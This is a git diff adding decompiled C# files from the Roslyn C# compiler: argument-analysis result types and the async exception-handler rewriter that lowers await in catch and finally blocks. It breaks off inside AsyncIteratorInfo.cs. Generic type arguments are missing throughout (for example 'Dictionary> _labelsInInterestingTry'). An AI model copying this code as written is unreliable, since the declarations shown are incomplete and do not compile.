a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ArgumentAnalysisResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ArgumentAnalysisResult.cs new file mode 100644 index 0000000..26877ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ArgumentAnalysisResult.cs @@ -0,0 +1,73 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct ArgumentAnalysisResult +{ + public readonly ImmutableArray ArgsToParamsOpt; + + public readonly int ArgumentPosition; + + public readonly int ParameterPosition; + + public readonly ArgumentAnalysisResultKind Kind; + + public bool IsValid => (int)Kind < 2; + + public int ParameterFromArgument(int arg) + { + if (ArgsToParamsOpt.IsDefault) + { + return arg; + } + return ArgsToParamsOpt[arg]; + } + + private ArgumentAnalysisResult(ArgumentAnalysisResultKind kind, int argumentPosition, int parameterPosition, ImmutableArray argsToParamsOpt) + { + Kind = kind; + ArgumentPosition = argumentPosition; + ParameterPosition = parameterPosition; + ArgsToParamsOpt = argsToParamsOpt; + } + + public static ArgumentAnalysisResult NameUsedForPositional(int argumentPosition) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.NameUsedForPositional, argumentPosition, 0, default(ImmutableArray)); + } + + public static ArgumentAnalysisResult NoCorrespondingParameter(int argumentPosition) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.NoCorrespondingParameter, argumentPosition, 0, default(ImmutableArray)); + } + + public static ArgumentAnalysisResult NoCorrespondingNamedParameter(int argumentPosition) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.NoCorrespondingNamedParameter, argumentPosition, 0, default(ImmutableArray)); + } + + public static ArgumentAnalysisResult DuplicateNamedArgument(int argumentPosition) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.DuplicateNamedArgument, argumentPosition, 0, default(ImmutableArray)); + } + + public static ArgumentAnalysisResult RequiredParameterMissing(int parameterPosition) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.RequiredParameterMissing, 0, parameterPosition, default(ImmutableArray)); + } + + public static ArgumentAnalysisResult BadNonTrailingNamedArgument(int argumentPosition) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.BadNonTrailingNamedArgument, argumentPosition, 0, default(ImmutableArray)); + } + + public static ArgumentAnalysisResult NormalForm(ImmutableArray argsToParamsOpt) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.Normal, 0, 0, argsToParamsOpt); + } + + public static ArgumentAnalysisResult ExpandedForm(ImmutableArray argsToParamsOpt) + { + return new ArgumentAnalysisResult(ArgumentAnalysisResultKind.Expanded, 0, 0, argsToParamsOpt); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ArgumentAnalysisResultKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ArgumentAnalysisResultKind.cs new file mode 100644 index 0000000..043b3ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ArgumentAnalysisResultKind.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum ArgumentAnalysisResultKind : byte +{ + Normal = 0, + Expanded = 1, + NoCorrespondingParameter = 2, + FirstInvalid = 2, + NoCorrespondingNamedParameter = 3, + DuplicateNamedArgument = 4, + RequiredParameterMissing = 5, + NameUsedForPositional = 6, + BadNonTrailingNamedArgument = 7 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncConstructor.cs new file mode 100644 index 0000000..ca54773 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncConstructor.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class AsyncConstructor : SynthesizedInstanceConstructor, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => ((ISynthesizedMethodBodyImplementationSymbol)ContainingSymbol).Method; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => false; + + internal AsyncConstructor(AsyncStateMachine stateMachineType) + : base(stateMachineType) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncExceptionHandlerRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncExceptionHandlerRewriter.cs new file mode 100644 index 0000000..6d698a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncExceptionHandlerRewriter.cs @@ -0,0 +1,634 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class AsyncExceptionHandlerRewriter : BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator +{ + private sealed class AwaitInFinallyAnalysis : LabelCollector + { + private Dictionary> _labelsInInterestingTry; + + private HashSet _awaitContainingCatches; + + private bool _seenAwait; + + public AwaitInFinallyAnalysis(BoundStatement body) + { + _seenAwait = false; + Visit(body); + } + + public bool FinallyContainsAwaits(BoundTryStatement statement) + { + if (_labelsInInterestingTry != null) + { + return _labelsInInterestingTry.ContainsKey(statement); + } + return false; + } + + internal bool CatchContainsAwait(BoundCatchBlock node) + { + if (_awaitContainingCatches != null) + { + return _awaitContainingCatches.Contains(node); + } + return false; + } + + public bool ContainsAwaitInHandlers() + { + if (_labelsInInterestingTry == null) + { + return _awaitContainingCatches != null; + } + return true; + } + + internal HashSet Labels(BoundTryStatement statement) + { + return _labelsInInterestingTry[statement]; + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + HashSet hashSet = currentLabels; + currentLabels = null; + Visit(node.TryBlock); + VisitList(node.CatchBlocks); + bool seenAwait = _seenAwait; + _seenAwait = false; + Visit(node.FinallyBlockOpt); + if (_seenAwait) + { + Dictionary> dictionary = _labelsInInterestingTry; + if (dictionary == null) + { + dictionary = (_labelsInInterestingTry = new Dictionary>()); + } + dictionary.Add(node, currentLabels); + currentLabels = hashSet; + } + else if (currentLabels == null) + { + currentLabels = hashSet; + } + else if (hashSet != null) + { + currentLabels.UnionWith(hashSet); + } + _seenAwait |= seenAwait; + return null; + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + bool seenAwait = _seenAwait; + _seenAwait = false; + BoundNode? result = base.VisitCatchBlock(node); + if (_seenAwait) + { + HashSet awaitContainingCatches = _awaitContainingCatches; + if (awaitContainingCatches == null) + { + awaitContainingCatches = (_awaitContainingCatches = new HashSet()); + } + _awaitContainingCatches.Add(node); + } + _seenAwait |= seenAwait; + return result; + } + + public override BoundNode VisitAwaitExpression(BoundAwaitExpression node) + { + _seenAwait = true; + return base.VisitAwaitExpression(node); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + HashSet hashSet = currentLabels; + bool seenAwait = _seenAwait; + currentLabels = null; + _seenAwait = false; + base.VisitLambda(node); + currentLabels = hashSet; + _seenAwait = seenAwait; + return null; + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + HashSet hashSet = currentLabels; + bool seenAwait = _seenAwait; + currentLabels = null; + _seenAwait = false; + base.VisitLocalFunctionStatement(node); + currentLabels = hashSet; + _seenAwait = seenAwait; + return null; + } + } + + private sealed class AwaitFinallyFrame + { + public readonly AwaitFinallyFrame ParentOpt; + + public readonly HashSet LabelsOpt; + + private readonly SyntaxNode _syntaxOpt; + + public Dictionary proxyLabels; + + public List proxiedLabels; + + public GeneratedLabelSymbol returnProxyLabel; + + public SynthesizedLocal returnValue; + + public AwaitFinallyFrame() + { + } + + public AwaitFinallyFrame(AwaitFinallyFrame parent, HashSet labelsOpt, SyntaxNode syntax) + { + ParentOpt = parent; + LabelsOpt = labelsOpt; + _syntaxOpt = syntax; + } + + public bool IsRoot() + { + return ParentOpt == null; + } + + public LabelSymbol ProxyLabelIfNeeded(LabelSymbol label) + { + if (IsRoot() || (LabelsOpt != null && LabelsOpt.Contains(label))) + { + return label; + } + Dictionary dictionary = proxyLabels; + List list = proxiedLabels; + if (dictionary == null) + { + dictionary = (proxyLabels = new Dictionary()); + list = (proxiedLabels = new List()); + } + if (!dictionary.TryGetValue(label, out var value)) + { + value = new GeneratedLabelSymbol("proxy" + label.Name); + dictionary.Add(label, value); + list.Add(label); + } + return value; + } + + public LabelSymbol ProxyReturnIfNeeded(MethodSymbol containingMethod, BoundExpression valueOpt, out SynthesizedLocal returnValue) + { + returnValue = null; + if (IsRoot()) + { + return null; + } + GeneratedLabelSymbol generatedLabelSymbol = returnProxyLabel; + if (generatedLabelSymbol == null) + { + generatedLabelSymbol = (returnProxyLabel = new GeneratedLabelSymbol("returnProxy")); + } + if (valueOpt != null) + { + returnValue = this.returnValue; + if (returnValue == null) + { + this.returnValue = (returnValue = new SynthesizedLocal(containingMethod, TypeWithAnnotations.Create(valueOpt.Type), (SynthesizedLocalKind)20, _syntaxOpt, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0)); + } + } + return generatedLabelSymbol; + } + } + + private sealed class AwaitCatchFrame + { + public readonly SynthesizedLocal pendingCaughtException; + + public readonly SynthesizedLocal pendingCatch; + + public readonly List handlers; + + private readonly AwaitCatchFrame _parentOpt; + + private readonly Dictionary _hoistedLocals; + + private readonly List _orderedHoistedLocals; + + public AwaitCatchFrame(SyntheticBoundNodeFactory F, TryStatementSyntax tryStatementSyntax, AwaitCatchFrame parentOpt) + { + pendingCaughtException = new SynthesizedLocal(F.CurrentFunction, TypeWithAnnotations.Create(F.SpecialType((SpecialType)1)), (SynthesizedLocalKind)25, (SyntaxNode)(object)tryStatementSyntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + pendingCatch = new SynthesizedLocal(F.CurrentFunction, TypeWithAnnotations.Create(F.SpecialType((SpecialType)13)), (SynthesizedLocalKind)24, (SyntaxNode)(object)tryStatementSyntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + handlers = new List(); + _parentOpt = parentOpt; + _hoistedLocals = new Dictionary(); + _orderedHoistedLocals = new List(); + } + + public void HoistLocal(LocalSymbol local, SyntheticBoundNodeFactory F) + { + if (!_hoistedLocals.Keys.Any((LocalSymbol l) => l.Name == local.Name && TypeSymbol.Equals(l.Type, local.Type, (TypeCompareKind)0))) + { + _hoistedLocals.Add(local, local); + _orderedHoistedLocals.Add(local); + } + else + { + LocalSymbol localSymbol = F.SynthesizedLocal(local.Type, pendingCatch.SyntaxOpt, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)26); + _hoistedLocals.Add(local, localSymbol); + _orderedHoistedLocals.Add(localSymbol); + } + } + + public IEnumerable GetHoistedLocals() + { + return _orderedHoistedLocals; + } + + public bool TryGetHoistedLocal(LocalSymbol originalLocal, out LocalSymbol hoistedLocal) + { + if (!_hoistedLocals.TryGetValue(originalLocal, out hoistedLocal)) + { + return _parentOpt?.TryGetHoistedLocal(originalLocal, out hoistedLocal) ?? false; + } + return true; + } + } + + private readonly SyntheticBoundNodeFactory _F; + + private readonly AwaitInFinallyAnalysis _analysis; + + private AwaitCatchFrame _currentAwaitCatchFrame; + + private AwaitFinallyFrame _currentAwaitFinallyFrame = new AwaitFinallyFrame(); + + private AsyncExceptionHandlerRewriter(MethodSymbol containingMethod, NamedTypeSymbol containingType, SyntheticBoundNodeFactory factory, AwaitInFinallyAnalysis analysis) + { + _F = factory; + _F.CurrentFunction = containingMethod; + _analysis = analysis; + } + + public static BoundStatement Rewrite(MethodSymbol containingSymbol, NamedTypeSymbol containingType, BoundStatement statement, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + AwaitInFinallyAnalysis awaitInFinallyAnalysis = new AwaitInFinallyAnalysis(statement); + if (!awaitInFinallyAnalysis.ContainsAwaitInHandlers()) + { + return statement; + } + SyntheticBoundNodeFactory factory = new SyntheticBoundNodeFactory(containingSymbol, statement.Syntax, compilationState, diagnostics); + return (BoundStatement)new AsyncExceptionHandlerRewriter(containingSymbol, containingType, factory, awaitInFinallyAnalysis).Visit(statement); + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + SyntaxNode syntax = node.Syntax; + BoundStatement boundStatement; + BoundBlock boundBlock; + if (!_analysis.FinallyContainsAwaits(node)) + { + boundStatement = RewriteFinalizedRegion(node); + boundBlock = (BoundBlock)Visit(node.FinallyBlockOpt); + if (boundBlock == null) + { + return boundStatement; + } + if (boundStatement is BoundTryStatement boundTryStatement) + { + return boundTryStatement.Update(boundTryStatement.TryBlock, boundTryStatement.CatchBlocks, boundBlock, boundTryStatement.FinallyLabelOpt, boundTryStatement.PreferFaultHandler); + } + return _F.Try((BoundBlock)boundStatement, ImmutableArray.Empty, boundBlock); + } + AwaitFinallyFrame awaitFinallyFrame = PushFrame(node); + boundStatement = RewriteFinalizedRegion(node); + boundBlock = (BoundBlock)VisitBlock(node.FinallyBlockOpt); + PopFrame(); + NamedTypeSymbol typeSymbol = _F.SpecialType((SpecialType)1); + SynthesizedLocal synthesizedLocal = new SynthesizedLocal(_F.CurrentFunction, TypeWithAnnotations.Create(typeSymbol), (SynthesizedLocalKind)22, syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + GeneratedLabelSymbol generatedLabelSymbol = _F.GenerateLabel("finallyLabel"); + SynthesizedLocal synthesizedLocal2 = new SynthesizedLocal(_F.CurrentFunction, TypeWithAnnotations.Create(_F.SpecialType((SpecialType)13)), (SynthesizedLocalKind)23, syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + BoundCatchBlock item = _F.Catch(_F.Local(synthesizedLocal), _F.Block()); + BoundStatement boundStatement2 = _F.Try(_F.Block(boundStatement, _F.HiddenSequencePoint(), _F.Goto(generatedLabelSymbol), PendBranches(awaitFinallyFrame, synthesizedLocal2, generatedLabelSymbol)), ImmutableArray.Create(item), null, generatedLabelSymbol); + BoundBlock boundBlock2 = _F.Block(_F.HiddenSequencePoint(), _F.Label(generatedLabelSymbol), boundBlock, _F.HiddenSequencePoint(), UnpendException(synthesizedLocal), UnpendBranches(awaitFinallyFrame, synthesizedLocal2)); + BoundStatement boundStatement3 = boundBlock2; + if (_F.CurrentFunction.IsAsync && _F.CurrentFunction.IsIterator) + { + boundStatement3 = _F.ExtractedFinallyBlock(boundBlock2); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.Add(_F.HiddenSequencePoint()); + instance.Add((LocalSymbol)synthesizedLocal); + instance2.Add((BoundStatement)_F.Assignment(_F.Local(synthesizedLocal), _F.Default(synthesizedLocal.Type))); + instance.Add((LocalSymbol)synthesizedLocal2); + instance2.Add((BoundStatement)_F.Assignment(_F.Local(synthesizedLocal2), _F.Default(synthesizedLocal2.Type))); + LocalSymbol returnValue = awaitFinallyFrame.returnValue; + if (returnValue != null) + { + instance.Add(returnValue); + } + instance2.Add(boundStatement2); + instance2.Add(boundStatement3); + return _F.Block(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree()); + } + + private BoundBlock PendBranches(AwaitFinallyFrame frame, LocalSymbol pendingBranchVar, LabelSymbol finallyLabel) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + List proxiedLabels = frame.proxiedLabels; + Dictionary proxyLabels = frame.proxyLabels; + int i = 1; + if (proxiedLabels != null) + { + for (int count = proxiedLabels.Count; i <= count; i++) + { + LabelSymbol key = proxiedLabels[i - 1]; + LabelSymbol proxy = proxyLabels[key]; + PendBranch(instance, proxy, i, pendingBranchVar, finallyLabel); + } + } + GeneratedLabelSymbol returnProxyLabel = frame.returnProxyLabel; + if (returnProxyLabel != null) + { + PendBranch(instance, returnProxyLabel, i, pendingBranchVar, finallyLabel); + } + return _F.Block(instance.ToImmutableAndFree()); + } + + private void PendBranch(ArrayBuilder bodyStatements, LabelSymbol proxy, int i, LocalSymbol pendingBranchVar, LabelSymbol finallyLabel) + { + bodyStatements.Add((BoundStatement)_F.Label(proxy)); + bodyStatements.Add((BoundStatement)_F.Assignment(_F.Local(pendingBranchVar), _F.Literal(i))); + bodyStatements.Add((BoundStatement)_F.Goto(finallyLabel)); + } + + private BoundStatement UnpendBranches(AwaitFinallyFrame frame, SynthesizedLocal pendingBranchVar) + { + AwaitFinallyFrame parentOpt = frame.ParentOpt; + List proxiedLabels = frame.proxiedLabels; + int i = 1; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (proxiedLabels != null) + { + for (int count = proxiedLabels.Count; i <= count; i++) + { + LabelSymbol label = proxiedLabels[i - 1]; + LabelSymbol label2 = parentOpt.ProxyLabelIfNeeded(label); + SyntheticBoundNodeFactory.SyntheticSwitchSection syntheticSwitchSection = _F.SwitchSection(i, _F.Goto(label2)); + instance.Add(syntheticSwitchSection); + } + } + if (frame.returnProxyLabel != null) + { + BoundLocal boundLocal = null; + if (frame.returnValue != null) + { + boundLocal = _F.Local(frame.returnValue); + } + SynthesizedLocal returnValue; + LabelSymbol labelSymbol = parentOpt.ProxyReturnIfNeeded(_F.CurrentFunction, boundLocal, out returnValue); + BoundStatement boundStatement = ((labelSymbol == null) ? new BoundReturnStatement(_F.Syntax, (RefKind)0, boundLocal, @checked: false) : ((boundLocal != null) ? ((BoundStatement)_F.Block(_F.Assignment(_F.Local(returnValue), boundLocal), _F.Goto(labelSymbol))) : ((BoundStatement)_F.Goto(labelSymbol)))); + SyntheticBoundNodeFactory.SyntheticSwitchSection syntheticSwitchSection2 = _F.SwitchSection(i, boundStatement); + instance.Add(syntheticSwitchSection2); + } + return _F.Switch(_F.Local(pendingBranchVar), instance.ToImmutableAndFree()); + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + BoundExpression caseExpressionOpt = (BoundExpression)Visit(node.CaseExpressionOpt); + BoundLabel labelExpressionOpt = (BoundLabel)Visit(node.LabelExpressionOpt); + LabelSymbol label = _currentAwaitFinallyFrame.ProxyLabelIfNeeded(node.Label); + return node.Update(label, caseExpressionOpt, labelExpressionOpt); + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + return base.VisitConditionalGoto(node); + } + + public override BoundNode VisitReturnStatement(BoundReturnStatement node) + { + SynthesizedLocal returnValue; + LabelSymbol labelSymbol = _currentAwaitFinallyFrame.ProxyReturnIfNeeded(_F.CurrentFunction, node.ExpressionOpt, out returnValue); + if (labelSymbol == null) + { + return base.VisitReturnStatement(node); + } + BoundExpression boundExpression = (BoundExpression)Visit(node.ExpressionOpt); + if (boundExpression != null) + { + return _F.Block(_F.Assignment(_F.Local(returnValue), boundExpression), _F.Goto(labelSymbol)); + } + return _F.Goto(labelSymbol); + } + + private BoundStatement UnpendException(LocalSymbol pendingExceptionLocal) + { + LocalSymbol localSymbol = _F.SynthesizedLocal(_F.SpecialType((SpecialType)1), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpressionStatement boundExpressionStatement = _F.Assignment(_F.Local(localSymbol), _F.Local(pendingExceptionLocal)); + BoundStatement thenClause = Rethrow(localSymbol); + return _F.Block(ImmutableArray.Create(localSymbol), boundExpressionStatement, _F.If(_F.ObjectNotEqual(_F.Local(localSymbol), _F.Null(localSymbol.Type)), thenClause)); + } + + private BoundStatement Rethrow(LocalSymbol obj) + { + BoundStatement boundStatement = _F.Throw(_F.Local(obj)); + MethodSymbol methodSymbol = _F.WellKnownMethod((WellKnownMember)132, isOptional: true); + MethodSymbol methodSymbol2 = _F.WellKnownMethod((WellKnownMember)133, isOptional: true); + if (methodSymbol != null && methodSymbol2 != null) + { + LocalSymbol localSymbol = _F.SynthesizedLocal(_F.WellKnownType((WellKnownType)52), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpressionStatement boundExpressionStatement = _F.Assignment(_F.Local(localSymbol), _F.As(_F.Local(obj), localSymbol.Type)); + boundStatement = _F.Block(ImmutableArray.Create(localSymbol), boundExpressionStatement, _F.If(_F.ObjectEqual(_F.Local(localSymbol), _F.Null(localSymbol.Type)), boundStatement), _F.ExpressionStatement(_F.Call(_F.StaticCall(methodSymbol.ContainingType, methodSymbol, _F.Local(localSymbol)), methodSymbol2))); + } + return boundStatement; + } + + private BoundStatement RewriteFinalizedRegion(BoundTryStatement node) + { + BoundBlock boundBlock = (BoundBlock)VisitBlock(node.TryBlock); + if (node.CatchBlocks.IsDefaultOrEmpty) + { + return boundBlock; + } + AwaitCatchFrame currentAwaitCatchFrame = _currentAwaitCatchFrame; + _currentAwaitCatchFrame = null; + ImmutableArray catchBlocks = ImmutableArrayExtensions.SelectAsArray(node.CatchBlocks, (Func)delegate(BoundCatchBlock catchBlock, (AsyncExceptionHandlerRewriter, AwaitCatchFrame origAwaitCatchFrame) arg) + { + var (asyncExceptionHandlerRewriter, parentAwaitCatchFrame) = arg; + return (BoundCatchBlock)asyncExceptionHandlerRewriter.VisitCatchBlock(catchBlock, parentAwaitCatchFrame); + }, (this, currentAwaitCatchFrame)); + BoundStatement boundStatement = _F.Try(boundBlock, catchBlocks); + AwaitCatchFrame currentAwaitCatchFrame2 = _currentAwaitCatchFrame; + if (currentAwaitCatchFrame2 != null) + { + GeneratedLabelSymbol label = _F.GenerateLabel("handled"); + List handlers = currentAwaitCatchFrame2.handlers; + ArrayBuilder instance = ArrayBuilder.GetInstance(handlers.Count); + int num = 0; + for (int count = handlers.Count; num < count; num++) + { + instance.Add(_F.SwitchSection(num + 1, _F.Block(handlers[num], _F.Goto(label)))); + } + boundStatement = _F.Block(ImmutableArray.Create((LocalSymbol)currentAwaitCatchFrame2.pendingCaughtException, (LocalSymbol)currentAwaitCatchFrame2.pendingCatch).AddRange(currentAwaitCatchFrame2.GetHoistedLocals()), _F.HiddenSequencePoint(), _F.Assignment(_F.Local(currentAwaitCatchFrame2.pendingCatch), _F.Default(currentAwaitCatchFrame2.pendingCatch.Type)), boundStatement, _F.HiddenSequencePoint(), _F.Switch(_F.Local(currentAwaitCatchFrame2.pendingCatch), instance.ToImmutableAndFree()), _F.HiddenSequencePoint(), _F.Label(label)); + } + _currentAwaitCatchFrame = currentAwaitCatchFrame; + return boundStatement; + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/AsyncRewriter/AsyncExceptionHandlerRewriter.cs", 511); + } + + private BoundNode VisitCatchBlock(BoundCatchBlock node, AwaitCatchFrame parentAwaitCatchFrame) + { + if (!_analysis.CatchContainsAwait(node)) + { + AwaitCatchFrame currentAwaitCatchFrame = _currentAwaitCatchFrame; + _currentAwaitCatchFrame = null; + BoundNode? result = base.VisitCatchBlock(node); + _currentAwaitCatchFrame = currentAwaitCatchFrame; + return result; + } + AwaitCatchFrame awaitCatchFrame = _currentAwaitCatchFrame; + if (awaitCatchFrame == null) + { + TryStatementSyntax tryStatementSyntax = (TryStatementSyntax)(object)node.Syntax.Parent; + awaitCatchFrame = (_currentAwaitCatchFrame = new AwaitCatchFrame(_F, tryStatementSyntax, parentAwaitCatchFrame)); + } + TypeSymbol typeSymbol = node.ExceptionTypeOpt ?? _F.SpecialType((SpecialType)1); + LocalSymbol localSymbol = _F.SynthesizedLocal(typeSymbol, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpression expr = _F.AssignmentExpression(_F.Local(awaitCatchFrame.pendingCaughtException), _F.Convert(awaitCatchFrame.pendingCaughtException.Type, _F.Local(localSymbol))); + BoundExpressionStatement boundExpressionStatement = _F.Assignment(_F.Local(awaitCatchFrame.pendingCatch), _F.Literal(awaitCatchFrame.handlers.Count + 1)); + BoundStatementList exceptionFilterPrologueOpt = node.ExceptionFilterPrologueOpt; + BoundExpression exceptionFilterOpt = node.ExceptionFilterOpt; + BoundCatchBlock result2; + ImmutableArray locals; + if (exceptionFilterOpt == null) + { + result2 = node.Update(ImmutableArray.Create(localSymbol), _F.Local(localSymbol), typeSymbol, exceptionFilterPrologueOpt, null, _F.Block(_F.HiddenSequencePoint(), _F.ExpressionStatement(expr), boundExpressionStatement), node.IsSynthesizedAsyncCatchAll); + locals = node.Locals; + } + else + { + locals = ImmutableArray.Empty; + ImmutableArray.Enumerator enumerator = node.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + awaitCatchFrame.HoistLocal(current, _F); + } + BoundStatementList boundStatementList = (BoundStatementList)Visit(exceptionFilterPrologueOpt); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundExpression exceptionSourceOpt = node.ExceptionSourceOpt; + instance.Add((BoundStatement)_F.ExpressionStatement(expr)); + if (exceptionSourceOpt != null) + { + instance.Add((BoundStatement)_F.ExpressionStatement(AssignCatchSource((BoundExpression)Visit(exceptionSourceOpt), awaitCatchFrame))); + } + if (boundStatementList != null) + { + instance.Add((BoundStatement)boundStatementList); + } + BoundStatementList exceptionFilterPrologueOpt2 = _F.StatementList(instance.ToImmutableAndFree()); + BoundExpression exceptionFilterOpt2 = (BoundExpression)Visit(exceptionFilterOpt); + result2 = node.Update(ImmutableArray.Create(localSymbol), _F.Local(localSymbol), typeSymbol, exceptionFilterPrologueOpt2, exceptionFilterOpt2, _F.Block(_F.HiddenSequencePoint(), boundExpressionStatement), node.IsSynthesizedAsyncCatchAll); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.Add(_F.HiddenSequencePoint()); + if (exceptionFilterOpt == null) + { + BoundExpression exceptionSourceOpt2 = node.ExceptionSourceOpt; + if (exceptionSourceOpt2 != null) + { + BoundExpression expr2 = AssignCatchSource((BoundExpression)Visit(exceptionSourceOpt2), awaitCatchFrame); + instance2.Add((BoundStatement)_F.ExpressionStatement(expr2)); + } + } + instance2.Add((BoundStatement)Visit(node.Body)); + BoundBlock item = _F.Block(locals, instance2.ToImmutableAndFree()); + awaitCatchFrame.handlers.Add(item); + return result2; + } + + private BoundExpression AssignCatchSource(BoundExpression rewrittenSource, AwaitCatchFrame currentAwaitCatchFrame) + { + BoundExpression result = null; + if (rewrittenSource != null) + { + result = _F.AssignmentExpression(rewrittenSource, _F.Convert(rewrittenSource.Type, _F.Local(currentAwaitCatchFrame.pendingCaughtException))); + } + return result; + } + + public override BoundNode VisitLocal(BoundLocal node) + { + AwaitCatchFrame currentAwaitCatchFrame = _currentAwaitCatchFrame; + if (currentAwaitCatchFrame == null || !currentAwaitCatchFrame.TryGetHoistedLocal(node.LocalSymbol, out var hoistedLocal)) + { + return base.VisitLocal(node); + } + return node.Update(hoistedLocal, node.ConstantValueOpt, hoistedLocal.Type); + } + + public override BoundNode VisitThrowStatement(BoundThrowStatement node) + { + if (node.ExpressionOpt != null || _currentAwaitCatchFrame == null) + { + return base.VisitThrowStatement(node); + } + return Rethrow(_currentAwaitCatchFrame.pendingCaughtException); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + MethodSymbol currentFunction = _F.CurrentFunction; + AwaitFinallyFrame currentAwaitFinallyFrame = _currentAwaitFinallyFrame; + _F.CurrentFunction = node.Symbol; + _currentAwaitFinallyFrame = new AwaitFinallyFrame(); + BoundNode? result = base.VisitLambda(node); + _F.CurrentFunction = currentFunction; + _currentAwaitFinallyFrame = currentAwaitFinallyFrame; + return result; + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + MethodSymbol currentFunction = _F.CurrentFunction; + AwaitFinallyFrame currentAwaitFinallyFrame = _currentAwaitFinallyFrame; + _F.CurrentFunction = node.Symbol; + _currentAwaitFinallyFrame = new AwaitFinallyFrame(); + BoundNode? result = base.VisitLocalFunctionStatement(node); + _F.CurrentFunction = currentFunction; + _currentAwaitFinallyFrame = currentAwaitFinallyFrame; + return result; + } + + private AwaitFinallyFrame PushFrame(BoundTryStatement statement) + { + return _currentAwaitFinallyFrame = new AwaitFinallyFrame(_currentAwaitFinallyFrame, _analysis.Labels(statement), statement.Syntax); + } + + private void PopFrame() + { + AwaitFinallyFrame currentAwaitFinallyFrame = _currentAwaitFinallyFrame; + _currentAwaitFinallyFrame = currentAwaitFinallyFrame.ParentOpt; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncIteratorInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncIteratorInfo.cs new file mode 100644 index 0000000..b123dca --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncIteratorInfo.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class AsyncIteratorInfo +{ + internal FieldSymbol 